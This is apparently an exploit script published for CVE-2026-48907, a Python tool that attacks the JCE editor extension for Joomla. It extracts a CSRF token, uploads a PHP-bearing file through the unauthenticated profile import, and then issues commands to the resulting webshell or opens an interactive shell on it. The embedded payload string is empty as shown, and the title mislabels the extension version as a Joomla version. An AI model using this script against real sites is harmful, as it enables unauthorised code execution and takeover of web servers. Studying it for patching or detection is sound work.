# Exploit Title: Joomla 2.9.99.4 -Unauthenticated Remote Code Execution # Date: 2026-07-10 # Exploit Author: K3ysTr0K3R (Jared Brits) # Vendor Homepage: https://www.joomla.org/ # Software Link: https://extensions.joomla.org/extension/jce/ # Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5) # Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4 # CVE: CVE-2026-48907 # Description: The JCE (Joomla Content Editor) profile import functionality # lacks proper authentication and CSRF protections. An unauthenticated # attacker can upload a crafted XML file containing PHP code; the # file is stored in the /tmp/ directory and can be accessed via HTTP, # leading to remote code execution. # # Usage examples: # python3 exploit.py -u http://example.com --interactive # python3 exploit.py -u http://example.com --cmd "id" # python3 exploit.py -u http://example.com -v import re import sys import argparse import requests from random import randint from time import sleep from urllib.parse import urljoin from rich.console import Console from rich.text import Text console = Console() requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) class JCEExploit: def __init__(self, target_url, proxy=None, verbose=False): self.target = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.verify = False if proxy: self.session.proxies = { 'http': proxy, 'https': proxy } self.filename = f"jce-{randint(1000, 9999)}.xml.php" self.payload = '' def log(self, msg, level="INFO"): if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]: level_style = { "INFO": "blue", "SUCCESS": "green", "ERROR": "red", "WARNING": "yellow" } symbol = { "INFO": "[*]", "SUCCESS": "[+]", "ERROR": "[-]", "WARNING": "[!]" }.get(level, "[*]") text = Text() text.append(symbol, style=level_style.get(level, "blue")) text.append(f" {msg}") console.print(text) def get_csrf_token(self): try: resp = self.session.get(self.target + '/', timeout=10) if resp.status_code != 200: self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR") return None patterns = [ r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r']*name="([a-f0-9]{32})"[^>]*value="1"', r']*name="csrf\.token"[^>]*content="([a-f0-9]{32})"', r'name="([a-f0-9]{32})"\s+value="1"', ] for pattern in patterns: match = re.search(pattern, resp.text, re.I) if match: token = match.group(1) self.log(f"CSRF token extracted: {token}", "SUCCESS") return token self.log("Could not find CSRF token in the page", "ERROR") return None except requests.RequestException as e: self.log(f"Request failed: {e}", "ERROR") return None def upload_profile(self, token): if not token: return False endpoint = urljoin(self.target, '/index.php?option=com_jce') files = { 'profile_file': (self.filename, self.payload, 'application/xml') } data = { 'task': 'profiles.import', token: '1' } try: self.log(f"Uploading malicious file: {self.filename}") resp = self.session.post(endpoint, files=files, data=data, timeout=15) if resp.status_code != 200: self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR") return False if 'success' in resp.text and 'true' in resp.text: self.log("Profile imported – file written to /tmp/", "SUCCESS") return True else: self.log("Profile import may have failed", "WARNING") return False except requests.RequestException as e: self.log(f"Upload request failed: {e}", "ERROR") return False def get_webshell_url(self): return urljoin(self.target, f'/tmp/{self.filename}') def execute_command(self, command): if not command: return "" url = self.get_webshell_url() try: resp = self.session.get(url, params={'cmd': command}, timeout=10) if resp.status_code == 200: return resp.text else: return f"[!] HTTP {resp.status_code} – command may have failed." except requests.RequestException as e: return f"[!] Request error: {e}" def interactive_shell(self): self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS") console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n") while True: try: cmd = console.input("[cyan]$> [/cyan]").strip() if cmd.lower() in ('exit', 'quit'): break if cmd == "": continue output = self.execute_command(cmd) print(output) except KeyboardInterrupt: print("\nExiting.") break def run(self, command=None, interactive=False): self.log(f"Target: {self.target}") self.log("Starting CVE-2026-48907 exploitation process") token = self.get_csrf_token() if not token: self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR") return False if not self.upload_profile(token): self.log("Upload failed – target may be patched.", "ERROR") return False test_output = self.execute_command("echo JCE_TEST") if "JCE_TEST" in test_output: self.log("Webshell is active and responding.", "SUCCESS") else: self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING") if command: self.log(f"Executing command: {command}") output = self.execute_command(command) print(output) return True if interactive: self.interactive_shell() else: self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO") self.log(f"Direct webshell URL: {self.get_webshell_url()}") return True def main(): parser = argparse.ArgumentParser( description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE', epilog='Examples:\n' ' python3 exploit.py -u http://target.com --interactive\n' ' python3 exploit.py -u http://target.com --cmd "id"\n' ' python3 exploit.py -u http://target.com -v' ) parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL') parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') parser.add_argument('--cmd', help='Execute a single command and exit') parser.add_argument('--interactive', action='store_true', help='Start an interactive shell') args = parser.parse_args() banner = Text() banner.append("[!] ", style="yellow") banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n") banner.append("[!] ", style="yellow") banner.append("Coded by K3ysTr0K3R (Jared Brits)\n") console.print(banner, style="bold") if not args.verbose and not args.cmd and not args.interactive: confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ") if confirm.lower() != 'y': console.print("Exiting.") sys.exit(0) exploit = JCEExploit(args.url, args.proxy, args.verbose) success = exploit.run(command=args.cmd, interactive=args.interactive) sys.exit(0 if success else 1) if __name__ == "__main__": main()